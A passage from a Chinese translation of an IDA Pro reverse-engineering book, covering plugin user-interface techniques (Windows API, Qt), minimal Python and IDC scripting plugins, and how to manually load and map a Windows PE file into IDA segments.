msg("Radio button %d is selected\n", radio);
for (int n = 0; checkmask; n++) {
if (checkmask & 1) {
msg("Checkbox %d is checked\n", n);
}
checkmask >>= 1;
}
}
}


注意,在处理单选按钮和复选框的结果时,每组中的第一个按钮被认为是按钮零。

`AskUsingForm_c`函数为设计插件的用户界面元素提供了相当多的功能。这里的示例涉及了该函数的许多功能,但更多细节可以在*kernwin.hpp*中找到。请参考此文件以获取有关`AskUsingForm_c`函数及其功能的更多信息。

## 仅限 Windows 的用户界面生成技术

许多开发人员都曾为创建他们插件的用户界面而挣扎。针对仅限 Windows 的 IDA GUI 版本(*idag.exe*)的插件可以利用整个 Windows 图形 API。Tenable Security 的 mIDA^([119])插件的开发者开发了一种创建 MDI^([120])客户端窗口的替代方法。在 IDA 支持论坛中可以找到一个关于 mIDA 开发者面临的挑战的长篇帖子^([121))。该帖子还包含示例代码,展示了他们解决问题的方法。

ida-x86emu^([122])插件在用户界面方面采取了略有不同的方法。此插件依赖于可以使用以下 SDK 代码获取 IDA 主窗口句柄的事实:

HWND mainWindow = (HWND)callui(ui_get_hwnd).vptr;


以 IDA 主窗口作为父窗口,ida-x86emu 目前不尝试集成到 IDA 工作区中。所有插件的对话框界面都是使用 Windows 资源编辑器生成的,所有用户交互都是通过直接调用 Windows API 函数来处理的。结合图形对话框编辑器和直接调用原生 Windows API 函数提供了最强大的用户界面生成能力,但代价是增加了复杂性,并且需要额外的知识来处理 Windows 消息和与低级界面函数协同工作。

## 使用 Qt 生成用户界面

IDA 6.0 中引入的 Qt 用户界面为插件开发者提供了创建具有复杂用户界面、可在所有 IDA 平台上使用的插件的机会。Hex-Rays 的 Daniel Pistelli^([123]) 在 Hex-Rays 博客上的一篇博客文章中讨论了在插件中使用 Qt 的一些要求。见 ^([124]) 在本节中,我们将重申 Daniel 提出的某些重要观点,并指出一些额外的有用信息。

如果你希望在插件中使用任何 Qt 功能,你必须首先正确配置一个 Qt 开发环境。IDA 6.1 随带其自己的 Qt 4.7.2 库版本.^([125]) 当 Hex-Rays 构建其 Qt 库时,它会将库包裹在一个名为 `QT` 的 C++ 命名空间中。为了配置你的开发环境,从诺基亚获取适当的 Qt 源代码。Windows 版本的 *idaq* 使用 Visual Studio 2008 构建,^([126]) 而 Linux 和 OS X 版本使用 g++。Windows 适当的源代码可以在这里找到:

ftp://ftp.qt.nokia.com/qt/source/qt-win-opensource-4.7.2-vs2008.exe


Linux 和 OS X 的源代码可以在这里找到:

ftp://ftp.qt.nokia.com/qt/source/qt-everywhere-opensource-src-4.7.2.tar.gz


请参阅 Daniel 的博客文章,了解配置源代码的具体命令。正确配置的关键是以下命令行参数:

-qtnamespace QT


此参数会导致 Qt 源代码被包裹在 `QT` 命名空间中。为了在 Windows 上构建任何与 Qt 相关的插件,你需要为你在插件中使用的每个 Qt 库链接库 (*.lib 文件)。虽然 IDA 随带了一些 Qt 的动态链接库(见 *<IDADIR>* 以获取完整列表),但 SDK 随带了一些非常有限的 Windows Qt 链接库(特别是 QtCore4 和 QtGui),这些库可以在 *<SDKDIR>/lib/x86_win_qt* 中找到。如果你需要额外的链接库,你需要链接到你从 Qt 源代码构建的库。在 Linux 和 OS X 上,你可以直接链接到随 IDA 一起提供的 Qt 库。在 Linux 上,这些库可以在 *<IDADIR>* 中找到;在 OS X 上,这些库可以在 *<IDADIR>/idaq.app/Contents/Frameworks* 中找到。请注意,链接到不随 IDA 一起提供的 Qt 库会使你的插件的可移植性降低,除非你还将这些库与你的插件一起分发。

当配置你的 Qt 插件项目时,确保你的 `qmake` 项目文件包含以下配置指令:

QT_NAMESPACE = QT


IDA 在 SDK 中定义了多个用于更安全字符串处理的函数。这些包括 `qstrlen` 和 `qsnprintf` 等函数,这些函数长期以来一直是 SDK 的一部分。随着转向基于 Qt 的 GUI,这导致了一些问题,因为 Qt 也定义了几个与 IDA 提供的函数同名。IDA 函数位于全局命名空间中,而 Qt 函数位于 `QT` 命名空间中。可以通过显式引用全局命名空间(如下所示)来调用此类函数的 IDA 版本:

unsigned int len = ::qstrlen(myString);


如果你在插件中创建任何小部件需要父级小部件,以下语句将获取`idaq`顶级应用程序窗口的指针:

QWidget *mainWindow = QApplication::activeWindow();


这将调用 Qt 的 `QApplication` 类中的一个静态方法,该方法返回任何 Qt 应用程序中唯一的 `QApplication` 对象的窗口指针。

关于配置你的插件以使用 Qt 的更多信息,请参阅丹尼尔的文章。此外,IDA SDK 中的 qwindow 插件示例提供了一个使用 Qt 的插件的例子。具体来说,它包含示例代码,创建一个空的小部件(使用 `create_tform`),使用回调来接收表单正在变得可见的通知,获取指向新创建表单的 QWidget 指针,并最终用 Qt 按钮对象填充表单。在 第二十三章 中讨论的 collabREate 和 ida-x86emu 插件也使用 Qt GUI 元素,以便这些插件可以在所有 IDA 兼容平台上使用。

* * *

^([118]) 在用户被允许继续与对话框的父应用程序交互之前,必须关闭 *模态对话框*。文件打开和保存对话框是模态对话框的常见例子。模态对话框通常在应用程序需要在继续执行之前从用户那里获取信息时使用。另一方面,非模态或无模式对话框允许用户在对话框保持打开状态的同时继续与父应用程序交互。

^([119]) 查看 [`cgi.tenablesecurity.com/tenable/mida.php`](http://cgi.tenablesecurity.com/tenable/mida.php)。

^([120]) Windows 的 *多文档界面 (MDI)* 允许多个子(客户端)窗口包含在一个容器窗口中。

^([121]) 查看 [`www.hex-rays.com/forum/viewtopic.php?f=8&t=1660&p=6752`](http://www.hex-rays.com/forum/viewtopic.php?f=8&t=1660&p=6752)

^([122]) 查看 [`www.idabook.com/ida-x86emu`](http://www.idabook.com/ida-x86emu)

^([123]) 丹尼尔领导了 Hex-Rays 将 IDA 的 GUI 迁移到 Qt 的努力。

^([124]) [`www.hexblog.com/?p=250`](http://www.hexblog.com/?p=250)

^([125]) IDA 6.0 使用了 Qt 4.6.3。

^([126]) 因此,如果你在 Windows 上构建与 Qt 相关的插件,你必须使用 Visual Studio 来构建你的插件。

# 脚本插件

IDA 5.6 引入了对脚本加载模块的支持。在 IDA 5.7 中,增加了对脚本插件^([127])和处理器模块的支持。虽然这并不一定允许开发更强大的插件,但它确实在一定程度上降低了潜在插件开发者的入门门槛,并允许开发周期更快,因为复杂的构建过程被消除了。

虽然可以使用 IDC 或 Python 创建脚本插件,但鉴于 Python 暴露了 IDA SDK 的大部分内容,Python 可能是最合适的选择。鉴于这一事实,没有理由认为 Python 插件不能像编译的 C++插件一样强大。

创建 Python 插件是一个简单的过程。主要要求是定义一个名为`PLUGIN_ENTRY`的函数,该函数返回`plugin_t`(在模块`idaapi`中定义)的一个实例。`plugin_t`类包含成员,这些成员反映了 SDK 的 C++ `plugin_t`类的成员。示例 17-4 显示了一个简单的 Python 插件,该插件定义了一个名为`idabook_plugin_t`的类,该类继承自`plugin_t`;初始化所有必需的成员;并定义了`init`、`term`和`run`函数,这些函数实现了插件的行为。

示例 17-4. 一个最小的 Python 插件

from idaapi import *

class idabook_plugin_t(plugin_t):
flags = 0
wanted_name = "IdaBook Python Plugin"
wanted_hotkey = "Alt-8"
comment = "IdaBook Python Plugin"
help = "Something helpful"

def init(self):
msg("IdaBook plugin init called.\n")
return PLUGIN_OK

def term(self):
msg("IdaBook plugin term called.\n")

def run(self, arg):
warning("IdaBook plugin run(%d) called.\n" % arg)

def PLUGIN_ENTRY():
return idabook_plugin_t()


插件脚本的安装是通过将脚本复制到*<IDADIR>/plugins*来完成的。

用 IDC 编写的相同插件出现在示例 17-5 中。由于 IDC 没有定义与插件相关的基类,我们的义务是创建一个定义了插件所需所有元素的类,确保我们正确命名每个元素。

示例 17-5. 一个最小的 IDC 插件

include <idc.idc>

class idabook_plugin_t {

idabook_plugin_t() {
this.flags = 0;
this.wanted_name = "IdaBook IDC Plugin";
this.wanted_hotkey = "Alt-9";
this.comment = "IdaBook IDC Plugin";
this.help = "Something helpful";
}

init() {
Message("IdaBook plugin init called.\n");
return PLUGIN_OK;
}

term() {
Message("IdaBook plugin term called.\n");
}

run(arg) {
Warning("IdaBook plugin run(%d) called.\n", arg);
}
}

static PLUGIN_ENTRY() {
return idabook_plugin_t();
}


与 Python 示例一样,`PLUGIN_ENTRY`函数用于创建并返回我们的插件类的一个实例。安装过程再次涉及将*.idc*文件复制到*<IDADIR>/plugins*。

* * *

^([127]) 查看 [`www.hexblog.com/?p=120`](http://www.hexblog.com/?p=120)

# 摘要

当脚本无法满足扩展 IDA 功能的需求时,IDA 插件是逻辑上的下一步。尽管脚本插件的出现可能会让你抵制深入研究 SDK 的冲动。此外,除非你面临逆向工程 IDA 未知的文件格式或 IDA 没有处理器模块的机器语言的挑战,否则插件可能是你唯一需要探索的 IDA 扩展类型。尽管如此,在接下来的两个章节中,我们继续通过查看可用于 IDA 的其他类型的模块来探索 IDA SDK 提供的功能:加载器和处理器模块。

# 第十八章. 二进制文件和 IDA 加载模块

![无标题的图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854059.png.jpg)

有朝一日,人们会知道你已经成为了驻场的 IDA 极客。你可能喜欢自己已经达到了顶峰,或者你可能哀叹从那天起,人们会打断你询问某个文件的功能。最终,无论是由于这样的一个问题,还是因为你喜欢使用 IDA 打开你找到的几乎所有文件,你可能会遇到图 18-1 中显示的对话框。

这是 IDA 的标准文件加载对话框,但存在一个小问题(从用户的角度来看)。识别的文件类型列表很短,只有一个条目,即二进制文件,这表明 IDA 的所有已安装加载模块都无法识别您要加载的文件格式。希望您至少知道您正在处理哪种机器语言(您至少知道文件是从哪里来的,对吧?)并且可以智能地选择处理器类型,因为在这种情况下您能做的也就只有这些了。

![加载二进制文件](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854295.png.jpg)

图 18-1. 加载二进制文件

在本章中,我们将讨论 IDA 帮助您理解未知文件类型的能力,从手动分析二进制文件格式开始,然后以此作为开发您自己的 IDA 加载模块的动机。

# 未知文件分析

存储可执行代码的文件格式有无限多种。IDA 随带了许多常见文件格式的加载模块以供识别,但 IDA 无法适应存在的格式数量不断增加。二进制映像可能包含为特定操作系统格式化的可执行文件、从嵌入式系统提取的 ROM 映像、从闪存更新中提取的固件映像,或者仅仅是原始的机器语言块,这些可能是从网络数据包捕获中提取的。这些映像的格式可能由操作系统(可执行文件)、目标处理器和系统架构(ROM 映像)或根本没有任何东西(嵌入在应用层数据中的漏洞 shellcode)决定。

假设有一个处理器模块可以反汇编未知二进制文件中的代码,那么你的任务是在通知 IDA 哪些二进制部分代表代码,哪些部分代表数据之前,正确地安排文件映像在 IDA 数据库中的位置。对于大多数处理器类型,使用二进制格式加载文件的结果只是将文件内容堆叠在以地址零开始的单个段中,如示例 18-1 所示。

示例 18-1. 以二进制模式加载的 PE 文件的前几行

seg000:00000000 db 4Dh ; M
seg000:00000001 db 5Ah ; Z
seg000:00000002 db 90h ; É
seg000:00000003 db 0
seg000:00000004 db 3
seg000:00000005 db 0
seg000:00000006 db 0
seg000:00000007 db 0


在某些情况下,根据所选处理器模块的复杂程度,可能会进行一些反汇编操作。这种情况可能发生在所选处理器是一个可以针对 ROM 映像的内存布局做出特定假设的嵌入式微控制器时。对于那些对这类应用感兴趣的人来说,安迪·惠特克(Andy Whittaker)已经创建了一个出色的教程^([128]),介绍了如何对西门子 C166 微控制器应用的反汇编二进制映像进行逆向工程。

面对二进制文件时,你几乎肯定需要装备尽可能多的与文件相关的资源。这些资源可能包括 CPU 参考、操作系统参考、系统设计文档,以及通过调试或硬件辅助(如通过逻辑分析仪)分析获得的任何内存布局信息。

在下一节中,为了举例说明,我们假设 IDA 不识别 Windows PE 文件格式。PE 是一个广为人知的文件格式,许多读者可能熟悉。更重要的是,详细说明 PE 文件结构的文档广泛可用,这使得分析任意 PE 文件相对简单。

* * *

^([128]) 请参阅 [`www.andywhittaker.com/ECU/DisassemblingaBoschME755/tabid/96/Default.aspx`](http://www.andywhittaker.com/ECU/DisassemblingaBoschME755/tabid/96/Default.aspx)。

# 手动加载 Windows PE 文件

当你能找到特定文件使用的格式文档时,在尝试将文件映射到 IDA 数据库的过程中,你的生活将会大大简化。示例 18-1 显示了作为二进制文件加载到 IDA 中的 PE 文件的前几行。在没有 IDA 的帮助下,我们转向 PE 规范,^([129])它指出,一个有效的 PE 文件将以一个有效的 MS-DOS 头部结构开始。一个有效的 MS-DOS 头部结构反过来又以 2 字节的签名`4Dh 5Ah`(`MZ`)开始,这在示例 18-1 的第一两行中可以看到。

在这一点上,需要理解 MS-DOS 头部的布局。PE 规范会告诉我们,文件中偏移量为`0x3C`的 4 字节值指示了下一个我们需要找到的头部的偏移量——PE 头部。分解 MS-DOS 头部字段有两种策略:(1)为 MS-DOS 头部中的每个字段定义适当大小的数据值;(2)使用 IDA 的结构创建功能,根据 PE 文件规范定义并应用一个`IMAGE_DOS_HEADER`结构.^([130])采用后一种方法会产生以下修改后的显示:

seg000:00000000 dw 5A4Dh ; e_magic
seg000:00000000 dw 90h ; e_cblp
seg000:00000000 dw 3 ; e_cp
seg000:00000000 dw 0 ; e_crlc
seg000:00000000 dw 4 ; e_cparhdr
seg000:00000000 dw 0 ; e_minalloc
seg000:00000000 dw 0FFFFh ; e_maxalloc
seg000:00000000 dw 0 ; e_ss
seg000:00000000 dw 0B8h ; e_sp
seg000:00000000 dw 0 ; e_csum
seg000:00000000 dw 0 ; e_ip
seg000:00000000 dw 0 ; e_cs
seg000:00000000 dw 40h ; e_lfarlc
seg000:00000000 dw 0 ; e_ovno
seg000:00000000 dw 4 dup(0) ; e_res
seg000:00000000 dw 0 ; e_oemid
seg000:00000000 dw 0 ; e_oeminfo
seg000:00000000 dw 0Ah dup(0) ; e_res2
seg000:00000000 dd 80h ; e_lfanew


`e_lfanew` 字段 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 的值为 `80h`,表示在数据库中偏移 `80h`(128 字节)处应该找到 PE 头。检查偏移 `80h` 处的字节应该会揭示 PE 头的魔数 `50h 45h` (`PE`),并允许我们在数据库的偏移 `80h` 处构建(基于我们对 PE 规范的阅读)并应用 `IMAGE_NT_HEADERS` 结构。IDAS 列表的一部分可能看起来如下所示:

seg000:00000080 dd 4550h ; Signature
seg000:00000080 dw 14Ch ; FileHeader.Machine
seg000:00000080 dw 4 ; FileHeader.NumberOfSections
seg000:00000080 dd 47826AB4h ; FileHeader.TimeDateStamp
seg000:00000080 dd 0E00h ; FileHeader.PointerToSymbolTable
seg000:00000080 dd 0FBh ; FileHeader.NumberOfSymbols
seg000:00000080 dw 0E0h ; FileHeader.SizeOfOptionalHeader
seg000:00000080 dw 307h ; FileHeader.Characteristics
seg000:00000080 dw 10Bh ; OptionalHeader.Magic
seg000:00000080 db 2 ; OptionalHeader.MajorLinkerVersion
seg000:00000080 db 38h ; OptionalHeader.MinorLinkerVersion
seg000:00000080 dd 600h ; OptionalHeader.SizeOfCode
seg000:00000080 dd 400h ; OptionalHeader.SizeOfInitializedData
seg000:00000080 dd 200h ; OptionalHeader.SizeOfUninitializedData
seg000:00000080 dd 1000h ; OptionalHeader.AddressOfEntryPoint
seg000:00000080 dd 1000h ; OptionalHeader.BaseOfCode
seg000:00000080 dd 0 ; OptionalHeader.BaseOfData
seg000:00000080 dd 400000h ; OptionalHeader.ImageBase
seg000:00000080 dd 1000h ; OptionalHeader.SectionAlignment
seg000:00000080 dd 200h ; OptionalHeader.FileAlignment


前面的列表和讨论与第八章中进行的 MS-DOS 和 PE 头结构探索有许多相似之处。第八章。然而,在这种情况下,文件是在没有 PE 加载器的好处下被加载到 IDA 中的,而且与第八章中的情况不同,头结构对于成功理解数据库的其余部分是至关重要的。

在这一点上,我们已经揭示了一些有趣的信息,这将帮助我们进一步细化数据库布局。首先,PE 头中的 `Machine` 字段 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png) 指示了为哪个目标 CPU 类型构建的文件。在这个例子中,值 `14Ch` 指示该文件适用于 x86 处理器类型。如果机器类型是其他类型,例如 `1C0h`(ARM),我们实际上需要关闭数据库并重新启动分析,确保我们在初始加载对话框中选择了正确的处理器类型。一旦加载了数据库,就无法更改该数据库使用的处理器类型。

`ImageBase` 字段 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png) 指示加载的文件映像的基虚拟地址。使用这些信息,我们最终可以开始将一些虚拟地址信息纳入数据库。使用“编辑”▸“段”▸“重定位程序”菜单选项,我们可以为程序的第一段指定一个新的基址,如图 18-2 所示。

![为程序指定新的基址](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854298.png.jpg)

图 18-2. 为程序指定新的基址

在当前示例中,只有一个段存在,因为当以二进制模式加载文件时,IDA 只创建一个段来保存整个文件。对话框中显示的两个复选框选项确定 IDA 在段移动时如何处理重定位条目,以及 IDA 是否应该移动数据库中出现的每个段。对于以二进制模式加载的文件,IDA 不会意识到任何重定位信息。同样,由于程序中只有一个段,整个映像将默认重定位。

`AddressOfEntryPoint` ![AddressOfEntryPoint](http://atomoreilly.com/source/nostarch/images/854095.png) 字段指定程序入口点的相对虚拟地址(RVA)。RVA 是从程序的基本虚拟地址的相对偏移量,而程序入口点代表程序中将要执行的第一条指令的地址。在这种情况下,入口点 RVA 为 `1000h` 指示程序将在虚拟地址 `401000h` (`400000h + 1000h`) 开始执行。这是一条重要信息,因为这是我们第一次得知在数据库中寻找代码应该从哪里开始。然而,在我们能够做到这一点之前,我们需要正确地将数据库的其余部分映射到适当的虚拟地址。

PE 格式使用段来描述文件内容到内存范围的映射。通过解析文件中每个段的段头,我们可以完成数据库的基本虚拟内存布局。`NumberOfSections` ![NumberOfSections](http://atomoreilly.com/source/nostarch/images/854099.png) 字段指示 PE 文件中包含的段数;在这种情况下有四个。再次参考 PE 规范,我们会了解到一个段头结构数组紧随 `IMAGE_NT_HEADERS` 结构之后。数组中的单个元素是 `IMAGE_SECTION_HEADER` 结构,我们可以在 IDA 的结构窗口中定义它,并将其(在这种情况下四次)应用于 `IMAGE_NT_HEADERS` 结构之后的字节。

在我们讨论段创建之前,有两个额外的字段值得指出,即 `FileAlignment` ![FileAlignment](http://atomoreilly.com/source/nostarch/images/854101.png) 和 `SectionAlignment` ![SectionAlignment](http://atomoreilly.com/source/nostarch/images/854103.png)。这些字段分别指示每个段的文件内数据如何对齐以及当映射到内存中时相同数据将如何对齐。在我们的例子中,每个段在文件中都对齐到 `200h` 字节偏移量;然而,当加载到内存中时,这些相同的段将在地址上是 `1000h` 的倍数处对齐。较小的 `FileAlignment` 值在将可执行映像存储在文件中时提供了一种节省空间的方法,而较大的 `SectionAlignment` 值通常对应于操作系统的虚拟内存页面大小。了解段如何对齐可以帮助我们在数据库中手动创建段时避免错误。

在结构化每个段头之后,我们最终拥有了足够的信息来开始在数据库中创建额外的段。将 `IMAGE_SECTION_HEADER` 模板应用于紧随 `IMAGE_NT_HEADERS` 结构之后的字节,得到第一个段头,并在我们的示例数据库中显示以下数据:

seg000:00400178 db '.text',0,0,0 ; Name
seg000:00400178 dd 440h ; VirtualSize
seg000:00400178 dd 1000h ; VirtualAddress
seg000:00400178 dd 600h ; SizeOfRawData
seg000:00400178 dd 400h ; PointerToRawData
seg000:00400178 dd 0 ; PointerToRelocations
seg000:00400178 dd 0 ; PointerToLinenumbers
seg000:00400178 dw 0 ; NumberOfRelocations
seg000:00400178 dw 0 ; NumberOfLinenumbers
seg000:00400178 dd 60000020h ; Characteristics


`Name` ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 字段告诉我们这个头文件描述的是 `.text` 段。所有剩余的字段在格式化数据库时可能都很有用,但我们将重点关注描述段布局的三个字段。`PointerToRawData` ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png) 字段(`400h`)指示可以在文件偏移量 `400h` 处找到该段的内容。请注意,此值是文件对齐值 `200h` 的倍数。PE 文件中的段按递增的文件偏移量(和虚拟地址)顺序排列。由于此段从文件偏移量 `400h` 开始,我们可以得出结论,文件的前 `400h` 字节包含文件头数据。因此,即使它们严格来说不构成一个段,我们也可以通过将它们分组到数据库中的段来强调它们在逻辑上的相关性。

使用 Edit ▸ Segments ▸ Create Segment 命令可以在数据库中手动创建段。图 18-3 显示了段创建对话框。

![段创建对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854301.png.jpg)

图 18-3. 段创建对话框

在创建一个段时,你可以指定任何你希望的名字。在这里,我们选择 `.headers`,因为它不太可能被用作文件的实际段名,并且它充分描述了该段的内容。你可以手动输入段的起始(包含)和结束(不包含)地址,或者如果你在打开对话框之前已经突出显示了组成段的地址范围,它们将被自动填充。段的基值在 SDK 的 *segment.hpp* 文件中描述。简而言之,对于 x86 二进制文件,IDA 通过将段基左移四位并将偏移量加到字节上来计算字节的虚拟地址(`virtual = (base << 4) + offset`)。当不使用分段时,应使用零作为基值。段类可以用来描述段的内容。一些预定义的类名,如`CODE`、`DATA`和`BSS`被识别。预定义的段类也在 *segment.hpp* 文件中描述。

创建新段的一个不幸副作用是,任何在段内定义的数据(例如我们之前格式化的标题)都将变为未定义。在重新应用之前讨论的所有标题结构之后,我们回到`.text`部分的标题,注意到`VirtualAddress` ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png)字段(`1000h`)是一个 RVA,它指定了应将部分内容加载到的内存地址,而`SizeOfRawData` ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png)字段(`600h`)表示文件中包含多少字节的数据。换句话说,这个特定的部分标题告诉我们`.text`部分是通过将文件偏移量`400h-9FFh`中的`600h`字节映射到虚拟地址`401000h-4015FFh`来创建的。

由于我们的示例文件是以二进制模式加载的,所以`.text`部分的全部字节都存在于数据库中;我们只需将它们移到正确的位置。在创建`.headers`部分之后,我们可能在`.headers`部分的末尾看到类似以下的内容:

.headers:004003FF db 0
.headers:004003FF _headers ends
.headers:004003FF
seg001:00400400 ; ===========================================================
seg001:00400400
seg001:00400400 ; Segment type: Pure code
seg001:00400400 seg001 segment byte public 'CODE' use32
seg001:00400400 assume cs:seg001
seg001:00400400 ;org 400400h
seg001:00400400 assume es:_headers, ss:_headers, ds:_headers
seg001:00400400 db 55h ; U


当创建`.headers`部分时,IDA 将原始`seg000`分割成我们指定的`.headers`部分和一个新的`seg001`来存储`seg000`中剩余的字节。`.text`部分的内容作为`seg001`的前`600h`字节存储在数据库中。我们只需将部分移动到正确的位置并正确设置`.text`部分的大小。

创建`.text`部分的第一个步骤是将`seg001`移动到虚拟地址`401000h`。使用 Edit ▸ Segments ▸ Move Current Segment 命令,我们指定`seg001`的新起始地址,如图图 18-4 所示。

![移动一个段](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854304.png.jpg)

图 18-4. 移动一个段

下一步是从新移动的`seg001`的第一个`600h`字节中切割出`.text`部分,使用 Edit ▸ Segments ▸ Create Segment。![图 18-5](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/ch18s02.html#manual_creation_of_the_.text_section "图 18-5. 手动创建.text 部分")显示了用于创建新部分的参数,这些参数是从部分标题值中派生出来的。

请记住,结束地址是排他的。`.text`部分的创建将`seg001`分割成新的`.text`部分和原始文件中剩余的所有字节,这些字节将组成一个新的名为`seg002`的部分,它紧随`.text`部分之后。

![手动创建.text 部分](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854307.png.jpg)

图 18-5. 手动创建.text 部分

返回到部分标题,我们现在来看第二个部分,一旦它被结构化为`IMAGE_SECTION_HEADER`,它将如下所示:

.headers:004001A0 db '.rdata',0,0 ; Name
.headers:004001A0 dd 60h ; VirtualSize
.headers:004001A0 dd 2000h ; VirtualAddress
.headers:004001A0 dd 200h ; SizeOfRawData
.headers:004001A0 dd 0A00h ; PointerToRawData
.headers:004001A0 dd 0 ; PointerToRelocations
.headers:004001A0 dd 0 ; PointerToLinenumbers
.headers:004001A0 dw 0 ; NumberOfRelocations
.headers:004001A0 dw 0 ; NumberOfLinenumbers
.headers:004001A0 dd 40000040h ; Characteristics


使用我们之前检查`.text`章节时使用的相同数据字段,我们注意到这个章节被命名为`.rdata`,在文件中从偏移量`0A00h`开始占用`200h`字节,并映射到 RVA `2000h`(虚拟地址`402000h`)。在此点需要注意的是,由于我们移动了`.text`段,我们不能再轻易地将`PointerToRawData`字段映射到数据库中的偏移量。相反,我们依赖于`.rdata`章节的内容紧接在`.text`章节内容之后的事实。换句话说,`.rdata`章节目前位于`seg002`的第一个`200h`字节中。另一种方法是将章节按相反的顺序创建,从标题中定义的最后一个章节开始,逐步向后工作,直到我们最终创建`.text`章节。这种方法使得章节在移动到相应的虚拟地址之前位于它们正确的文件偏移量处。

`.rdata`章节的创建方式与`.text`章节的创建方式类似。第一步,将`seg002`移动到`402000h`,第二步,创建实际的`.rdata`章节以跨越地址范围`402000h-402200h`。

在这个特定的二进制文件中定义的下一个章节被称为`.bss`章节。`.bss`章节通常由编译器生成,作为一个位置来分组所有在程序开始时需要初始化为零的静态分配变量(例如全局变量)。具有非零初始值的静态变量通常分配在`.data`(非常量)或`.rdata`(常量)章节中。`.bss`章节的优势在于它通常在磁盘映像中不需要空间,当操作系统加载器创建可执行文件的内存映像时,为该章节分配空间。在这个例子中,`.bss`章节的指定如下:

.headers:004001C8 db '.bss',0,0,0 ; Name
.headers:004001C8 dd 40h ; VirtualSize
.headers:004001C8 dd 3000h ; VirtualAddress
.headers:004001C8 dd 0 ; SizeOfRawData
.headers:004001C8 dd 0 ; PointerToRawData
.headers:004001C8 dd 0 ; PointerToRelocations
.headers:004001C8 dd 0 ; PointerToLinenumbers
.headers:004001C8 dw 0 ; NumberOfRelocations
.headers:004001C8 dw 0 ; NumberOfLinenumbers
.headers:004001C8 dd 0C0000080h ; Characteristics


在这里,章节标题表明文件内章节的大小,`SizeOfRawData` ![图片链接](http://atomoreilly.com/source/nostarch/images/854061.png),为零,而该章节的`VirtualSize` ![图片链接](http://atomoreilly.com/source/nostarch/images/854063.png)为`0x40`(64)字节。为了在 IDA 中创建此章节,首先需要在地址空间中从地址`0x403000`开始创建一个间隙(因为我们没有文件内容来填充章节),然后定义`.bss`章节以消耗这个间隙。创建这个间隙的最简单方法是将二进制文件的剩余部分移动到它们适当的位置。当这项任务完成时,我们可能会得到一个类似以下内容的段窗口列表:

Name Start End R W X D L Align Base Type Class
.headers 00400000 00400400 ? ? ? . . byte 0000 public DATA ...
.text 00401000 00401600 ? ? ? . . byte 0000 public CODE ...
.rdata 00402000 00402200 ? ? ? . . byte 0000 public DATA ...
.bss 00403000 00403040 ? ? ? . . byte 0000 public BSS ...
.idata 00404000 00404200 ? ? ? . . byte 0000 public IMPORT ...
seg005 00404200 004058DE ? ? ? . L byte 0001 public CODE ...


为了简洁起见,列表的右侧已被截断。你可能注意到段结束地址与其后续段的起始地址不相邻。这是由于使用文件大小而不是考虑它们的虚拟大小和任何所需的段对齐来创建段的结果。为了使我们的段反映可执行图像的真实布局,我们可以编辑每个结束地址以消耗段之间的任何间隙。

段列表中的问号代表每个部分的权限位上的未知值。对于 PE 文件,这些值是通过每个部分头文件中的“特征”字段中的位来指定的。除了通过编程使用脚本或插件外,没有其他方法可以指定手动创建部分的权限。以下 IDC 语句设置了上一个列表中`.text`部分的执行权限:

SetSegmentAttr(0x401000, SEGATTR_PERM, 1);


不幸的是,IDC 并没有为每个允许的权限定义符号常量。Unix 用户可能会发现记住各个部分的权限位与 Unix 文件系统中使用的权限位相对应是很容易的;因此,读取是 4,写入是 2,执行是 1。你可以使用位运算符`OR`组合这些值,在单个操作中设置多个权限。

我们将在手册加载过程中讨论的最后一步是最终让 x86 处理器模块为我们做一些工作。一旦二进制文件已经被正确地映射到各种 IDA 部分,我们就可以回到我们在头文件中找到的程序入口点(RVA `1000h`,或虚拟地址`401000h`),并要求 IDA 将该位置的字节转换为代码。如果我们希望 IDA 在“导出”窗口中将该地址列为入口点,我们必须通过编程将其指定为入口点。以下是一个用于此目的的 Python 单行代码:

AddEntryPoint(0x401000, 0x401000, 'start', 1);


以这种方式调用,IDA 将入口点命名为`'start'`,将其添加为导出符号,并在指定的地址创建代码,从而启动递归下降以反汇编尽可能多的相关代码。请参阅 IDA 的内置帮助以获取有关`AddEntryPoint`函数的更多信息。

当以二进制模式加载文件时,IDA 不会对文件内容进行任何自动分析。在其他方面,没有尝试识别用于创建二进制的编译器,没有尝试确定二进制文件导入的库和函数,也没有自动将类型库或签名信息加载到数据库中。我们很可能需要做大量工作才能生成与 IDA 自动生成的反汇编代码相当的结果。实际上,我们甚至还没有触及 PE 头部的其他方面以及我们如何将此类附加信息纳入我们的手动加载过程。

在完成对手动加载的讨论时,请考虑每次打开具有相同格式、IDA 未知格式的二进制文件时,您都需要重复本节中涵盖的每个步骤。在这个过程中,您可能会选择通过编写执行一些标题解析和段创建的 IDC 脚本来自动化一些操作。这正是 IDA 加载模块背后的动机和目的,这些内容将在下一节中介绍。

* * *

